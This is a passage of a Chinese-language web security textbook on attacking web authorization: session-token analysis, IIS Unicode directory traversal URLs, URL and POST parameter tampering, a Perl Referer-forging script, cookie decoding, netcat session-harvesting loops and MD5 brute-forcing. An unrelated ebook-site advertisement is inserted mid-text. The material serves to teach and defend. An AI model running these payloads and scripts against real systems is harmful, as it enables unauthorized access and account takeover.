·输入校验对阻止网站入侵大有益处。如果正确地执行了输入校验，SQL注入、脚本注入和命令执行都可以预防。

·确保验证安全令牌如会话标识符不容易猜测，使用不容易猜测的足够大的密钥空间生成。

·不要允许用户在验证之前预设会话ID（服务器应该始终生成这些值），始终在成功验证之后发出新的会话ID。

·不要忘记加固身份管理系统如账户注册和凭据重置，因为这些系统中的弱点能够完全绕过验证的控制。

4.5　参考与延伸阅读

第5章　攻击Web授权

我们刚刚在第4章中看到验证是如何确定用户是否可以登录到Web应用。授权（Authorization）确定已验证的用户所能访问的应用部分，以及在应用中他们可以进行的操作。因为无状态的HTTP协议缺乏每个已验证用户独立会话的最基本概念，Web授权难以实施，因此对于攻击来说是有利可图的。

注意　我们有时候将验证缩写为“authn”，授权缩写为“authz”。

授权的经典实现是为已验证用户的会话提供一个访问令牌，使应用能唯一地识别该用户。然后，应用根据令牌中的标识符和对象之上的访问控制列表（ACL），做出授予或者拒绝对内部对象访问的决策。如果所提供的标识符与对象配置的权限匹配，访问得到授权；如果不匹配，访问被拒绝。这个令牌实际上作为持续的重新验证机制和每次请求一同提供，使用户不再需要持续地手工重新验证。当注销或者会话超时，这个令牌一般被删除、过期或者变为无效。

注意　通常用于唯一区分的会话标识符称作会话ID，和访问令牌是一回事。它通常存储于一个cookie中。

注意　HTTP基本验证采用老式的方法——它在同一领域中每次请求的HTTP Authorize首部中提交以Base64编码的用户名：密码。

显然，访问令牌为用户提供了很大的方便，但是和平常一样，方便总是有代价的。通过猜测、窃取或者重放别人的令牌，恶意的黑客可能假冒其他用户查看数据，或者代替目标用户（水平权限提升）甚至目标管理员（垂直权限提升）执行事务。当服务器端出现授权漏洞时，往往是错误定义的ACL或者业务逻辑和确定应用资源和功能的授权检查中的缺陷所致。

瞄准应用授权功能的攻击者会把他们的精力集中在两个目标之一：劫持应用使用的有效授权/会话令牌以及/或者绕过服务器端ACL。本章主要围绕授权的这两个方面组织，分为如下主要部分：

·授权指纹识别

·攻击ACL

·攻击令牌

·授权攻击案例研究

·授权最佳实践

在许多方面，授权是任何系统安全控制的核心和灵魂，在本章结束时你可能会同意，没有一个Web应用能够在授权被熟练的对手剥离时还能生存。

5.1　授权指纹识别

Web应用授权可能是复杂和高度自定义的。因此有条理的攻击者寻求首先对授权的实施进行“指纹识别”，以便在发动公开的进攻之前了解“地形”。

5.1.1　ACL爬行

检查整个网站的ACL的最简方法就是爬行。我们在第2章中讨论了Web爬行技术，包含多种自动化这一进程的工具（这些工具有时称作离线浏览器，因为它们将文件读取到本地供以后分析）。我们将介绍另一个Web爬虫程序Offline Explorer Pro（来自MetaProducts软件公司），因为它提供了比第2章中讨论的程序更好的Web ACL可见性。

和大部分Web爬虫类似，Offline Explorer Pro（OEP）的操作很简单——只要指向一个URL，它就从所提供的URL中捕捉指定深度的所有链接资源。OEP的有趣之处是它显示每次请求收到的响应的HTTP状态，使得查看文件和文件夹的ACL很容易。例如，图5-1中，OEP的Download Progress（下载进程）面板显示一个错误：401 Unauthorized response，指出这个资源受到ACL的保护，需要授权。

图5-1　Offline Explorer Pro在下载进程面板中列出HTTP状态码，指明了可能受到ACL保护的资源

OEP还内置支持大部分流行Web授权协议（包括Windows NTLM和HTML表单），使得在网站上进行差异分析很容易。

差异分析涉及使用未验证和已验证会话，或者不同用户的已验证会话在网站上爬行，以便揭示哪些部分阻止哪些用户访问。OEP中的验证配置选项可能难以寻找——它位于指定项目（File|Properties）的Project Properties（项目属性）页面中的Advanced（高级）类别下，标签为“Passwords”，如图5-2所示。

图5-2　Offline Explorer Pro的验证配置屏幕

提示　对于热衷于命令行的人，OE.exe可以通过命令行取得参数。

Web爬行的唯一缺点是，这种方法仅仅“看到”从其他页面链接到的网站。因此，你可能得不到完整的画面（例如，隐藏的“管理”页面可能不会从网站的任何页面链接，因此对爬虫程序不可见）。当然，我们在第2章中已经提到，自动化爬行为精密的手工分析开了一个好头，手工分析更有可能发现这些隐藏的内容。

5.1.2　识别访问令牌

访问令牌（或者会话ID）往往很容易在Web应用流程中看到，但是有时候不是如此。表5-1列出寻找访问令牌的一般信息以及常见的缩写，让读者对稍后小节中我们寻找的内容有个概念。

COTS会话ID

许多常见的现成（COTS）Web服务器具备生成自己的伪随机会话ID的能力。表5-2列出一些常见的服务器和它们对应的会话跟踪变量。更现代的服务器生成的ID一般有足于阻止猜测攻击的随机性，但是它们容易遭到重放攻击（我们将在接下来关于攻击令牌的小节中讨论这些内容）。

表5-1　常存储于Web应用访问/会话令牌中的信息

表5-2　一些常见的现成会话ID

5.1.3　分析会话令牌

好了，你将要对Web应用的授权/会话管理功能进行指纹识别，并且已经识别了一个可能是会话令牌的值，但是从视觉上难以分辨的一团ASCII字符或者混乱的数字值不能提供用法的视觉线索。放弃还是继续？当然是继续！本小节讨论一些确定其内容的方法。

尽管会话数据可能无法立刻理解，但是稍作一些分析（由许多经验支持！）能够找出微妙的线索，实际上可以进行有计划的猜测。例如，有些会话组件相当容易预测，因为它们具有标准格式或者表现出可预测的风格。例如，时间戳可能通过令牌中连续递增的数值识别出来。我们在表5-3中列出常见的针对这种确定性项目的攻击。

提示　我们使用GNU date+%s命令查看当前时间。为了转换为人类可读的格式，试试如下的Perl命令：

perl -e 'use Time::localtime; print ctime(<epoch number>)'

表5-3　常见会话令牌内容

分析编码和加密

视觉上难以分辨的ASCII字符块通常意味着如下两件事之一：编码或者加密。如果是前者，那就是一道曙光。如果是后者，你尽了最大的努力可能也只能得到对应用功能的一点点额外的了解。

挫败编码： Base64是用于Web应用的最流行的编码算法。如果你遇见使用大写和小写罗马字母（A-Z，a-z）和数字（0-9）、+和/符号，并以=结束的编码方案，那么就很有可能是Base64。

编码器/解码器有许多种。例如，第1章中讨论过的Fiddler HTTP分析工具带有一个实用程序，能够编码/解码Base64、URL和16进制格式。Burp和其他流行的HTTP代理应用也支持各种格式的数据编码和解码。

如果你希望编写自己的Base64处理程序，比如自动会话分析，那么Perl能够简化Base64的数据编码和解码。下面是两个编码/解码Base64的Perl脚本（实际上，就是两行Perl代码）：

#!/usr/bin/perl
# be64.pl
# encode to base 64
use MIME::Base64;
print encode_base64($ARGV[0]);

解码器如下：

#!/usr/bin/perl
# bd64.pl
# decode from base 64
use MIME::Base64;
print decode_base64($ARGV[0]);

分析加密： Web应用可能使用加密以及/或者散列来保护授权数据。最常用的算法不是像Base64那样的简单编码。但是它们仍然是重放和完成攻击的目标，因此攻击者可能发现识别令牌中的散列和加密值是有益的。

例如，流行的散列算法MD5常用于Web应用。MD5算法的输出始终为128位。因此，MD5 hash可能以三种不同的形式出现：

·16字节二进制摘要：每个字节为0-255的值（16×8=128）。

·32个字符的16进制摘要： 32个字符在16进制记法中代表128位数字。每个16进制字符代表128位MD5 hash中的4位。

·22个字节的Base64摘要： 128位的Base64表示。

加密的会话令牌很难识别。例如，由数据加密算法（DES）或者三重DES加密的数据通常看上去是随机的。没有识别用于加密字符串的算法的简便规则，尽管倾向于8字节的倍数，但加密也没有长度的限制。我们将在本章的后面讨论更多关于攻击加密的内容。

分析数字边界

识别会话ID中的数字值时，识别这些数字的有效范围可能很有用。例如，如果应用给你一个会话ID 1234567，你能否确定制作一个有效会话ID的数字池？表5-4列出了多种测试以及它们所能提供的关于应用的线索。

表5-4　数字边界

边界测试的好处是可以确定对特定令牌启动暴力攻击的难度。从输入校验或者SQL注入的角度看，它提供了关于应用基础架构的额外信息。

5.1.4　差异分析

当不清楚哪个值对确定授权决策重要时，常常可以使用一种称为差异分析的方法。这种技术非常简单：

你实际上用两个不同的账户爬行网站，注意其差异，如cookie以及/或者其他授权和状态跟踪数据的差别。例如，一些cookie值可能反映出简档或者自定义设置中的不同。其他值（如ID值）可能很接近，还有一些其他的值可能根据每个用户的权限而有所不同。

注意　我们在本章稍后5.4节“授权攻击案例研究”中提供差异分析的一个实例。

5.1.5　角色矩阵

角色矩阵是帮助授权审计进程的一个有用工具。角色矩阵包含一个应用程序中所有用户（或者用户类型）及其对应访问权限的列表。角色矩阵能够帮助图解应用中访问令牌和ACL之间的关系。这种矩阵的思路不一定要全面地分类每一种允许的操作，而是记录操作的执行方式以及所需的会话令牌或者其他参数。表5-5是一个矩阵的示例。

表5-5　角色矩阵实例

角色矩阵类似于功能地图。当我们包含每个用户访问特定功能的URI时，模式就会显现出来。注意表5-5中显示了一个管理员通过添加EUID参数查看另一个用户的简档。这个矩阵还能帮助识别会话信息以及授权方法在哪里进行处理。例如，一个应用可能只依靠cookie值，这种情况下矩阵可能填入cookie名称和值，如AppRole=manager，UID=12345或IsAdmin=false。其他应用可能在URL中放置这些信息，这种情况下这些值出现在参数中。当然，这只是不安全的应用根据用户提供数据来做出授权决策的例子。毕竟，当一个应用期望用户告诉它重要的授权相关信息（如他是否管理用户）时，授权组件的实现就存在某种相当严重的问题。像IsAdmin这样的布尔标志，AppRole这种角色名参数以及顺序的用户ID应该始终被看作嫌疑。安全的应用一般在授权cookie中加密这些信息以避免篡改，或者完全不在客户端存储角色相关的数据。实际上，不在客户端存储角色相关数据往往是最安全的方法，因为它能避免篡改和重放攻击。

角色矩阵在应用不使用直接的变量名时更有帮助。例如，应用可能简单地为每个变量指派一个字母，但是并不阻碍你修改变量值绕过授权。最终，你将能合并各种攻击场景——在应用包含许多用户类型层次时特别有用。

接下来，我们将转向阐述一些针对Web应用授权机制的攻击实例。

5.2　攻击ACL

现在我们知道了什么是授权数据以及它所在的位置，我们可以问“一般怎么攻击它？”

首先讨论ACL是因为它们是Web应用授权的“最低标准”：所有Web应用某些程度上都依赖于资源ACL的保护，但不是所有Web应用都实现访问/会话令牌（许多应用实际上通过本地账户模拟来达到相同的效果）。换句话说，ACL攻击是最简单的攻击，而成功地侵害授权和会话令牌常常需要更多的工作和好运气。一般地说，最容易识别的授权漏洞是与脆弱的ACL相关的。

第1章中已经说过，相对简单的URI语法使得假造随意的资源请求相当容易，其中一些请求将暴露出隐藏的授权边界或者完全绕过它们。我们接下来将讨论最常用的URI操纵技术。

目录遍历

目录遍历攻击是常见的绕过应用ACL获得对受限目录未授权访问的方法。目录遍历攻击的特色是使用文件系统浏览操作中所用的字符“../”（dot-dot-slash），从一个子目录“向上”遍历，返回到上级目录。这种漏洞在现实世界中的一个臭名昭著的实例是2001年广为宣传的“Unicode and Double Decode”攻击，这种攻击利用IIS Web应用服务器解析和授权引擎的一个漏洞。这个漏洞的Unicode变种是这样被利用的：按照常规，IIS会阻止使用类似“/scripts/../../../../winnt”的URL脱离Web文档根目录的企图。但是，由于一个公认的缺陷，这种授权检查不能正确地处理“/”字符的Unicode表示例如“%c0%af”（URL编码），从而可能被绕过。这种情况导致恶意的用户能够用特别构造的URL如“/scripts/..%c0%af..%c0%af..%c0%afwinnt”访问文档根之外的对象。

“隐藏”资源

精心剖析应用（见第2章）也能揭示应用文件夹和文件的命名方式。例如，如果存在/user/menu目录，那么可以猜测/admin/menu目录可能也存在。开发人员往往依靠混淆和“隐藏”资源位置来保护敏感资源的访问，而不是正确地定义和实施ACL。这使得目录和文件名猜测成为了挖掘网站“隐藏”部分的有用方法，我们前面已经提到过，这能够用于进一步的ACL指纹识别。

这种“不公开的安全性”通常甚至无法对付最简单的篡改。例如，简单地修改URL中的对象名称，黑客有时候能够读取通常无法访问的文件。Quip就是一个实例。使用Quip，用户能够向iPhone用户发送包含媒体的消息，这些媒体主要是照片。这个服务发送的图片和媒体被指派了由5个小写字母和数字组成的随机生成文件名（例如，http://pic.quiptxt.com/fapy6）。由于媒体服务器上不安全的授权控制，任何人都可以在任何Web浏览器中访问对应的URL，从而直接访问上传的媒体内容。而且，因为文件名仅仅使用少数随机字符和数字（这种命名方案仅有36×36×36×36×36=60466176种可能性）生成，攻击者可以发送成千上万个请求对其他合法的媒体文件名进行暴力攻击。许多自动化这一攻击的脚本已经创建，数以千计的私有照片和消息遭到侵害。今天，存储已泄露媒体的储存库仍然在网上。

通过URL篡改绕过授权的另一个实例是Cisco IOS HTTP授权漏洞。基于Web的管理界面URL包含16-99之间的两位数字：

http://www.victim.com/level/NN/exec/...

猜测NN的取值（两位数字），就可能绕过授权并且以最高特权级访问设备管理界面。

定制应用的参数命名管理也可能给出隐藏目录名的线索。例如，应用剖析（见第2章）可能没有揭示任何“秘密”或者管理目录——但是你注意到应用常常在变量名（secPass）和一些页面（secMenu.html）上添加“sec”。在这样一个应用中，根据相同的惯例（例如，用“/secadmin”代替“admin”）寻找隐藏的文件夹和文件可能是值得的。

提示　常常被路径猜测攻击作为目标的常用“隐藏”Web应用资源在第8章中列出。

5.3　攻击令牌

本节描述针对Web应用访问/会话令牌的常见攻击。下面是三类基本的访问/会话令牌攻击：

·预测（人工和自动化）

·捕捉/重放

·完成

我们按顺序进行讨论。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

5.3.1　人工预测

访问/会话令牌预测是对Web应用授权的最直接攻击。它实际上涉及以针对性的方式操纵令牌，以便绕过访问控制。首先，我们将讨论人工预测，下一小节，我们将描述能够加速预测似乎无法辨识的令牌的自动化分析技术。

人工猜测对于预测以人类可读的语法或者格式构建的访问令牌和会话ID值往往很有效。例如，在第1章中，你了解了如何简单地在Foundstone的Hacme银行Web应用示例中将“account_type”值从“Silver”改为“Platinum”，造成权限提升攻击。本小节将描述针对下列常见会话状态跟踪机制的人工篡改攻击：

·查询串

·POST数据

·HTTP首部

·Cookie

查询串人工预测

正如第1章中讨论过的，客户提供的HTTP查询串可能包含多个在URI中的问号之后以&号分隔的属性/值对，这些内容被传递给应用服务器处理。访问令牌和会话ID经常出现在查询串中。例如：

http://www.mail.com/mail.aspx?mailbox=joe&company=acme

这个URI的查询串部分包含用户提供的参数mailbox=joe&company=acme mail.aspx，这些参数将传递给mail.aspx。在这种场景下，修改查询中的mailbox参数值为另一个用户名（也就是/mail.aspx?mailbox=jane&company=acme）是明显的一种攻击，试图在验证为Joe的情况下查看Jane的邮箱。这个查询串可见于浏览器的地址栏，不需要特殊的Web工具就能轻松地修改。记住，URI中某些具有特殊意义的字符如=、&、#等，要求进行URL编码之后才能正确地传递给远程服务器。

对敏感数据使用POST！

一般不鼓励在查询串中转发会话ID，因为这很容易被任何注意浏览器地址栏的人修改。而且，和POST数据不同，URI和查询串往往被处理请求的中介设备（如代理）记录在客户端浏览器历史中，以及远程的Web和应用服务器上。这种记录带来了更多暴露给攻击者的机会。不熟练的用户不知道存储在查询串中的数据的敏感特性，可能也就不知不觉地通过电子邮件和公共论坛共享URI而暴露账户。最后，有趣的一点是在这些场景中即使使用SSL，查询串仍然会暴露。

因为存在这些问题，许多Web应用编程人员宁愿使用POST方法来转发敏感的会话和授权相关数据（这种方法在HTTP请求主体中携带参数值，不容易让简单的篡改看清），而不采用GET方法（在查询串中携带数据，在浏览器缓存、日志等地方更容易遭到攻击）。

警告　不要只因为客户端不能“看到”，就愚蠢地认为操纵POST数据很困难。我们在第1章中已经说明过，这其实很容易。

当然，在任何情况下，敏感的授权数据不应该仅仅用不予公开的方法进行保护，而应加上其他的安全手段。但是，正如我们在本书其他地方所说的，安全加上不公开没有害处。

POST数据人工预测

POST数据常常包含授权和会话相关信息，因为许多应用需要将客户提供的所有数据与提供这些数据的会话相关。下面的例子展示了如何使用cURL工具构建一个指向银行账户应用的POST操作，这个应用包含一些有趣的域，名为authmask（不确定它是什么，但是auth这个片段看上去确实有趣）、uid，还有一个值为viewacct的参数a。

$ curl -v -d 'authmask=8195' -d 'uid=213987755' -d 'a=viewacct' \
> --url https://www.victim.com/
*  Connected to www.victim.com (192.168.12.93)
> POST / HTTP/1.1
User-Agent: curl/7.9.5 (i686-pc-cygwin) libcurl 7.9.5 (OpenSSL 0.9.6c)
Host: www.victim.com
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
authmask=8195&uid=213987755&a=viewacct

POST参数在以上文本中的最后一行。和查询串的情况类似，属性/值对使用&字符分隔，如果参数名或者值包含特殊字符也需要编码。这个示例中有趣的一点是cURL自动地计算Content-Length HTTP首部，这个首部值必须与POST数据中的字符数相同。如果POST载荷遭到篡改，这个域必须重新计算。

“隐含”表单域：另一种经典的“不公开安全性”技术是使用HTML表单中所谓的隐含值来传递敏感数据，如会话ID、产品价格或者销售税，尽管这些域对于通过浏览器查看网站的用户是隐藏的；但是，它们在网页的HTML源代码中当然仍旧可见。攻击者常常会检查实际的表单域标记；因为域名或者HTML注视可能提供这些域功能的更多线索。

提示　第1章中讨论过的WebScarab工具提供了一个极好的“揭示隐含域”功能，使这些域在常规的浏览器会话中出现。

我们来看看从应用登录页面中提取的HTML表单的一部分，看看授权攻击中如何利用它：

<FORM name=login_form action=
https://login.victim.com/config/login?4rfr0naidr6d3 method=post >
<INPUT name=Tries type=hidden> <INPUT value=us name=I8N type=hidden>
<INPUT name=Bypass type=hidden> <INPUT value=64mbvjoubpd06 name=U
type=hidden> <INPUT value=pVjsXMKjKD8rlggZTYDLWwNY_Wlt name=Challenge
type=hidden>
User Name:<INPUT name=Login>
Password:<INPUT type=password maxLength=32 value="" name=Passwd>

当用户提交用户名和密码时，他实际上向服务器提交了7部分信息，但是网页上只有两个可见。表5-6总结了这些值。

表5-6　隐含表单域值示例

从这个例子中看，似乎隐含域U跟踪会话状态信息，但是这时候，是否存在一个漏洞尚不明显。通过本章稍后的自动化会话ID预测的讨论可以得到分析未知值的思路。

HTTP首部人工预测

HTTP首部作为HTTP协议的一部分传递，有时候用于传递授权/会话数据。Cookie可能是最知名的HTTP首部，但是它们常用于授权和会话状态跟踪。有些应用还将根据HTTP Referer:和其他首部的值（不要担心，我们很快会处理Referer的拼写错误）作出（相当不安全的）授权决策。

注意　应用还可能依赖自定义的首部跟踪特定用户属性。

User-Agent：最简单的授权测试之一是对客户端浏览器类型和版本的检查，这一般通过User-Agent HTTP首部实现。许多工具包括cURL都能让用户指定随意的User-Agent首部，所以这种测试作为授权机制实际上没有意义。例如，如果应用因为政治上而非技术上（例如需要特殊的ActiveX组件）的原因，要求使用Internet Explorer，你可以修改User-Agent首部假扮IE：

$ curl --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" \
> --url www.victim.com

虽然不是非常常见，但是如果这个漏洞出现，可能会出现在不依靠标准Web浏览器（如IE和Firefox），而是依赖发送特殊User-Agent值的定制HTTP客户端实现的应用中。如果处理请求的远程应用服务器实现不安全地信任所有指定特殊User-Agent值的请求，恶意用户就可能绕过授权访问敏感数据和资源。

Cookie： Cookie值可能是存储授权和状态信息的最常见位置。它们使用HTTP Set-Cookie首部设置，例如：

Set-Cookie: NAME=VALUE; expires=DATE; path=PATH;
domain=DOMAIN_NAME; secure

设置之后，客户端简单地使用Cookie首部将cookie重放给服务器，这看上去几乎和Set-Cookie首部完全一样，只是少了外部属性domain、path和secure。

因为cookie常用于授权，我们将在本章后面的一个小节中简短地进行讨论。

Referer： Web应用开发人员常犯的一个错误是信任包含在Referer首部中的部分信息，将其作为一种授权形式。那么，Referer首部是做什么的？为什么这是个安全上的错误？还有一点，为什么有这种错误的拼写？

Referer首部非常简单。本质上，它告诉用于获取服务器请求中的URI的资源URI（也就是，“我从哪里来”）。当你点击链接时，浏览器自动添加这一首部，但是如果你自己输入URI则不被包含。例如，如果你在网站A上，点击一个转移到网站B的链接，Referer首部将包含网站A的URI作为HTTP请求首部的一部分，像这样：

Referer: http://www.siteA.com/index.html

为什么依靠Referer首部进行授权是个错误？它常常在Web应用中实现，每当跟踪一个链接访问新区域，服务器上的一段定制代码检查Referer首部。如果包含在Referer首部中的URL是“预期的”，请求得到授权。如果不是，则请求遭到拒绝，用户被旁路到其他区域，通常是一个错误页面或者相似的页面。

我们可以在下面的代码示例中看到这个过程的工作原理。这是一个.asp页面中包含的简单Referer首部验证协议：

strReferer = Request.ServerVariables("HTTP_REFERER")
If strReferer = "http://www.victim.com/login.html" Then
' this page is called from login..htm!
' Run functionality here
End If

在这个例子中，代码仅仅寻找预期的URL——http://www.victim.com/login.html。如果这个URL存在，请求得到授权。否则，请求被拒绝。为什么开发人员使用包含在Referer首部中的URL作为授权？这主要是作为一条捷径。这种做法依赖于一个假设——能够访问某个特定应用页面的人可以看作已正确验证的人。这有一些明显的负面含义，例如，一个网站包含依靠Referer首部值进行验证和授权的管理区，一旦用户访问了一个特定页面如菜单页面，该区域中的所有附加页面都可以访问。

重要的是，Referer值是客户端控制的，因此，服务器不能依赖它做出安全相关的决策。Referer值很容易使用各种方法伪造。下面的Perl脚本指出伪造Referer值的一种方法：

use HTTP::Request::Common qw(POST GET);
use LWP::UserAgent;
$ua = LWP::UserAgent->new();
$req = POST ' http://www.victim.com/doadminmenu.html ';
$req->header(Referer => ' http://www.victim.com/adminmenu.html ');
$res = $ua->request($req);

在这个例子中，这段代码设置Referer值，使其看上去似乎是来源于adminmenu.html，而实际上明显不是。从这个例子中可以很清楚地看到，将Referer首部设置为任意值是简单的操作。正如老的安全谚语所说，将安全建立在某个东西的名称之上永远不是好主意，因为这种信息可以很容易地假冒、重放或者猜测。相关的一条安全准则也很切题：永远不要相信客户的输入。

那么错误的拼写是怎么回事？在互联网的早期有一种“怎么都好”的思维方式，足够长的能够使破解落空的错误拼写成为了标准。这个拼写就一直沿用至今。关于采用HTTP Referer首部作为验证需要了解的所有信息已经都告诉你了！

人工预测cookie

之前我们提到过，cookie仍然是Web应用中最流行的授权/会话管理形式，尽管历史上在安全方面有各种各样的问题（因为它们的中心角色，多年以来，恶意的黑客们已经发明了许多种方法来捕捉、劫持、盗窃、操纵或者以其他方式滥用cookie）。但是，针对cookie的安全攻击的悠久历史并不意味着cookie中有特别的设计问题，而是说明了应用服务器中对这些数据进行验证、授权和状态管理的重要性。对于使用cookie在Web应用中管理状态感兴趣的读者可以阅读RFC 2109（本章结尾处的“参考与延伸阅读”小节中有指向它和其他关于cookie参考内容的链接）。我们在本章较早关于HTTP首部的部分中已经说过，cookie使用Set-Cookie和Cookie HTTP首部管理。

cookie常用来存储几乎任何数据，所有域都可以很容易地使用第1章中概述过的HTTP代理修改。进行实际评估时，我们首选Burp web代理的原始请求编辑器功能。修改cookie值在拦截请求和响应，或者在重放面板里重放请求时都可以做到。图5-3显示了应用设置的cookie值。图5-4展示了如何使用Burp在重放面板中修改cookie值。

图5-3　使用Burp检查响应中设置的cookie值

图5-4　用Burp编辑cookie值

cookie一般是如何被非法使用以挫败授权的？下面是一个使用cookie实现“记住我”之类的授权/状态跟踪功能的应用实例：

Set-Cookie: autolog=bWlrZTpteXMzY3IzdA%3D%3D; expires=Sat, 01-Jan-2037
00:00:00 GMT; path=/; domain=victim.com

尽管这个cookie中有些加密的内容，但是即使是并不高明的攻击者也能够简单地复制cookie值并且重放，冒充对应的用户。聪明的读者可能注意到了autolog cookie值的最后4个字符是URL编码值%3D%3D。解码后的值为==（两个紧挨着的等号），这种字符组合附加在autolog cookie中令人费解的值后面几乎总是说明使用了Base64编码。解码这个Base64 cookie，得到ASCII字符串mike:mys3cr3t，这显然是对应用户的用户名和密码。最后，这个cookie没有设置secure和HTTPOnly标志。在没有设置secure的情况下，浏览器将通过非加密信道（常规的HTTP连接，与HTTPS相反）发送这个cookie值。HTTPOnly标志用于阻止恶意的JavaScript访问cookie值并将其带到攻击者控制的系统。

绕过cookie期限：当你注销使用cookie的应用时，通常的表现是将cookie值设置为NULL（也就是Set-Cookie:foobar=）以及一个过去的期限，从而有效地删除cookie。应用也可以使用到期时间来强制用户每20分钟重新验证。从用户第一次验证开始，cookie将只有20分钟的有效期，过了20分钟，客户浏览器将删除它。因为后续的请求不再包含删除了的授权/会话cookie，服务器将把客户重定向到验证页面。这是将无用的会话自动超时处理的有效方法，但是，和任何安全敏感功能一样，它需要小心地实施。

例如，如果应用设置“has password”值在20分钟后到期，攻击者可能试图延长到期时间，查看服务器是否仍然承认这个cookie（注意粗体文本，我们已经将日期改到一年以后）：

Set-Cookie: HasPwd=45lfhj28fmnw; expires=Tue, 17-Apr-2010
12:20:00 GMT; path=/; domain=victim.com
Set-Cookie: HasPwd=45lfhj28fmnw; expires=Tue, 17-Apr-2011
12:20:00 GMT; path=/; domain=victim.com

攻击者可能由此确定服务器端在会话时间上是否有限制。如果这个在20分钟加上一年之内有效的新cookie存续时间为一个小时，攻击者就知道20分钟的时间窗口是随意的——服务器实施60分钟的硬性超时期限。

5.3.2　自动预测

如果访问令牌或者会话ID不容易凭人的直觉识别，可以使用自动化分析来帮助识别潜在的安全漏洞，本小节介绍自动分析可预测的会话ID和加密保护值的技术。

收集样本

分析服务器发出的会话ID的安全性和真正的随机性时，收集足够大的会话ID样本以便进行有意义的统计分析是必要的。你会希望使用脚本或者其他自动化工具（Burp sequencer工具是用于这个目的的极佳工具），因为手工快速收集10000个值非常乏味！下面有3个Perl脚本示例可以帮助你入门。你需要自定义每个脚本以收集特定的变量（为了演示的目的，我们在这些示例中使用一些COTS会话ID）。

下面的gather.sh脚本使用netcat从HTTP服务器收集ASPSESSIONID值：

#!/bin/sh
# gather.sh
while [ 1 ]
do
echo -e "GET / HTTP/1.0\n\n" | \
nc -vv $1 80 | \
grep ASPSESSIONID
done

第二个脚本gather_ssl.sh使用openssl客户端从HTTPS服务器收集JSESSIONID值：

#!/bin/sh
# gather_ssl.sh
while [ 1 ]
do
echo -e "GET / HTTP/1.0\n\n" | \
openssl s_client -quiet -no_tls1 -connect $1:443 2>/dev/null | \
grep JSESSIONID
done

最后一个脚本gather_nudge.sh使用openssl客户端从HTTPS服务器收集JSESSIONID值，而且发出一个服务器在设置cookie之前必需的特殊登录请求：

#!/bin/sh
# gather_nudge.sh
while [ 1 ]
do
cat nudge \
openssl s_client -quiet -no_tls1 -connect $1:443 2>/dev/null | \
grep JSESSIONID
done

这个脚本中引用的“nudge”文件的内容如下：

POST /secure/client.asp?id=9898 HTTP/1.1
Accept: */*
Content-Type: text/xml
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
Host: www.victim.com
Content-Length: 102
Connection: Keep-Alive
Cache-Control: no-cache
<LoginRequest><User><SignInName>latour</SignInName><Password>Eiffel
</Password></User></LoginRequest>

每个脚本都运行于一个无限的循环中。确保重定向输出到一个文件，这样你可以保存工作成果。例如：

$ ./gather.sh www.victim.com | tee cookies.txt
$ ./gather_ssl.sh www.victim.com | tee cookies.txt
$ ./gather_nudge.sh www.victim.com | tee cookies.txt

提示　使用GNU cut命令和grep从cookies.txt中分析出实际的值。

非线性分析

如何测试一组会话ID的实际随机性？2001年4月，Bindview团队的Michal Zalewski对TCP连接的初始顺序号应用非线性分析技术，对这些值的“随机性”进行了饶有兴趣的观察。论文中最有说服力的部分是分析的图形表示。图5-5和5-6显示了两个来源的相对随机特性的视觉差异。

图5-5　适当随机化的ISN值

图5-6　质量不佳的随机化ISN值

ISN应该是用于每个新的TCP连接的随机数，和Web服务器生成的会话ID类似。用于生成这些图表的功能不需要任何复杂的算法。每个坐标定义如下：

x[t] = seq[t] - seq[t-1]
y[t] = seq[t-1] - seq[t-2]
z[t] = seq[t-2] - seq[t-3]

从数据集中选择的随机值是seq数组；t是数组的下标。试着把这种技术应用到从应用中收集的会话值。生成这种数据集实际上很简单。下面的Perl脚本接受一系列数字，计算每个点，并且（为了我们的目的）输出x，y，z：

#!/usr/bin/perl
# seq.pl
@seq = ();
@x = @y = @z = ();
while(<>) {
chomp($val = $_);
push(@seq, $val);
}
for ($i = 3; $i < $#seq; $i++) {
push(@x, $seq[$i] - $seq[$i - 1]);
push(@y, $seq[$i - 1] - $seq[$i - 2]);
push(@z, $seq[$i - 2] - $seq[$i - 3]);
}
for ($i = 0; $i < $#seq; $i++) {
print $x[$i] . " " . $y[$i] . " " . $z[$i] . "\n";
}

注意　这个函数不预测数值；它只是提示预测一个值的难度。质量不佳的生成器有可供利用的明显趋势。

为使用这个脚本，我们在session.raw文件中收集会话号码，然后通过管道将号码传送给Perl脚本，并将结果输出到数据文件3d.dat：

$ cat session.raw | ./seq.pl > 3d.dat

3d.dat文件的每一行包含一组X、Y、Z坐标。然后可以使用Gnuplot生成结果的图形表现。记住，虽然这个过程不能预测会话ID值，但是对于确定预测该值的难度很有帮助。

Burp web proxy的用户可能熟悉Sequencer（序列发生器）选项卡和内建的随机性统计分析工具。Sequencer实用工具不仅简化了令牌的收集，而且从服务器中的任何位置读取它们，随着令牌的读取自动进行随机性的数学分析。用请求/响应对填充Sequencer工具很简单，只要在Burp中的每个响应上单击右键，选择Send To Sequencer（发送到Sequencer）就行了。下一步是使用唯一的文本分隔符或者静态字节数定义令牌的界限。正确定义了令牌边界，令牌的收集和自动分析就可以开始了。有兴趣的读者可以参考Burp项目主网站（连接在本章结尾处的“参考与延伸阅读”小节中提供）。

暴力/字典攻击

在前面关于指纹识别的小节里，我们提到了MD5 hash的一些关键特性。如果你确定在应用会话cookie中发现了MD5 hash，可以使用经典的暴力猜测来确定原始的明文值（注意，虽然本节关注MD5，不过这些信息适用于任何散列算法）。

例如，下面的Perl命令使用Digest::MD5模块，取得不同的登录凭据组合并生成对应的MD5 hash值：

$ perl -e 'use Digest::MD5; \
> print Digest::MD5::md5_base64("userpasswd")'
ZBzxQ5hVyDnyCZPUM89n+g
$ perl -e 'use Digest::MD5; \
> print Digest::MD5::md5_base64("passwduser")'
seV1fBcI3Zz2rORI1wiHkQ
$ perl -e 'use Digest::MD5; \
> print Digest::MD5::md5_base64("passwdsalt")'
PGXfdI2wvL2fNopFweHnyA

